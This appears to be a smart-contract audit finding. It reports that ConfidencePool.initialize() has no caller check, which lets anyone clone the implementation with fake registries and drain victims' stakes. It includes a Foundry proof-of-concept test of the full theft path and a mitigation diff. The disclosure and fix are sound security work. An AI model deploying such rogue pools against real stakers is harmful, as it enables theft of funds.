Root + Impact
Description
-
Normal behavior: A pool must only be created via ConfidencePoolFactory.createPool, which checks the stake-token allowlist, confirms the caller is the real agreement owner, and pins the clone to the factory's own canonical safeHarborRegistry/defaultOutcomeModerator.
-
The issue: ConfidencePool.initialize() enforces none of that itself — there's no msg.sender check, and safeHarborRegistry_/agreement_ are caller-supplied. Since poolImplementation is public and Clones.clone() is permissionless, anyone can clone the same verified bytecode and self-initialize it with fake dependencies, bypassing every factory check.
constructor() Ownable(msg.sender) {
_disableInitializers();
@>
@>
}
function initialize(
address agreement_,
address stakeToken_,
@> address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external initializer {
@>
...
}
Risk
Likelihood:
-
poolImplementation is a public address and Clones.clone() is a permissionless, single-transaction call, so an attacker can stand up a fully rogue pool at will.
-
The rogue clone shares byte-for-byte identical, already-verified bytecode with genuine pools, defeating the usual "check the code" heuristic victims rely on to spot fakes.
Impact:
-
Any staker who deposits into the rogue pool loses their full stake — the attacker controls the fake registry, appoints themselves moderator, and sweeps 100% of the balance via claimCorrupted().
-
Undermines the protocol's core "on-chain confidence" value proposition, since pool legitimacy can't be verified from bytecode alone.
Proof of Concept
This Foundry test (drop into test/unit/, run with forge test --match-test test_RogueCloneStealsVictimStake) reproduces the full attack path end-to-end: it clones the real ConfidencePool implementation independently of the factory, self-initializes it with fully attacker-controlled fake BattleChain dependencies, has a victim stake real tokens into it, then has the attacker flag their own fake registry as CORRUPTED and sweep the victim's entire stake — with ConfidencePoolFactory never involved at any step.
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract RogueCloneInitPoC is Test {
address internal victim = makeAddr("victim");
address internal attacker = makeAddr("attacker");
function test_RogueCloneStealsVictimStake() public {
ConfidencePool implementation = new ConfidencePool();
vm.startPrank(attacker);
MockSafeHarborRegistry fakeSafeHarborRegistry = new MockSafeHarborRegistry();
MockAttackRegistry fakeAttackRegistry = new MockAttackRegistry();
MockAgreement fakeAgreement = new MockAgreement(attacker);
MockERC20 realStakeToken = new MockERC20();
fakeSafeHarborRegistry.setAttackRegistry(address(fakeAttackRegistry));
fakeSafeHarborRegistry.setAgreementValid(address(fakeAgreement), true);
address[] memory scope = new address[](1);
scope[0] = address(0xBEEF);
fakeAgreement.setContractInScope(scope[0], true);
ConfidencePool roguePool = ConfidencePool(Clones.clone(address(implementation)));
roguePool.initialize(
address(fakeAgreement),
address(realStakeToken),
address(fakeSafeHarborRegistry),
attacker,
block.timestamp + 31 days,
1e18,
attacker,
attacker,
scope
);
vm.stopPrank();
uint256 victimStake = 10_000e18;
realStakeToken.mint(victim, victimStake);
vm.startPrank(victim);
realStakeToken.approve(address(roguePool), victimStake);
roguePool.stake(victimStake);
vm.stopPrank();
assertEq(realStakeToken.balanceOf(address(roguePool)), victimStake);
vm.prank(attacker);
fakeAttackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(attacker);
roguePool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
vm.prank(attacker);
roguePool.claimCorrupted();
assertEq(realStakeToken.balanceOf(attacker), victimStake);
assertEq(realStakeToken.balanceOf(address(roguePool)), 0);
}
}
Recommended Mitigation
Pin every clone to a canonical factory address via an immutable (unlike storage, immutables are inlined into bytecode and resolve correctly through delegatecall), and reject initialize() calls from anyone else. This requires deploying the factory proxy before the real pool implementation.
// src/ConfidencePool.sol
+ address public immutable FACTORY;
+
- constructor() Ownable(msg.sender) {
+ constructor(address factory_) Ownable(msg.sender) {
+ if (factory_ == address(0)) revert ZeroAddress();
+ FACTORY = factory_;
_disableInitializers();
}
function initialize(
address agreement_,
...
) external initializer {
+ if (msg.sender != FACTORY) revert NotFactory();
if (agreement_ == address(0)) revert ZeroAddress();
...
// src/interfaces/IConfidencePool.sol
error ZeroAddress();
+ error NotFactory();
// script/Deploy.s.sol
- implementation = address(new ConfidencePool());
-
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
- bytes memory initData =
- abi.encodeCall(ConfidencePoolFactory.initialize, (safeHarborRegistry, implementation, moderator));
- factoryProxy = address(new ERC1967Proxy(address(factoryImpl), initData));
+ // Deploy the factory with a throwaway placeholder implementation so its proxy
+ // address is known, then deploy the real implementation pinned to that address.
+ address placeholder = address(new ConfidencePool(address(1)));
+ bytes memory initData =
+ abi.encodeCall(ConfidencePoolFactory.initialize, (safeHarborRegistry, placeholder, moderator));
+ factoryProxy = address(new ERC1967Proxy(address(factoryImpl), initData));
+
+ implementation = address(new ConfidencePool(factoryProxy));
+ ConfidencePoolFactory(factoryProxy).setPoolImplementation(implementation);
Existing tests that call new ConfidencePool() + initialize(...) directly will need address(this) passed as factory_.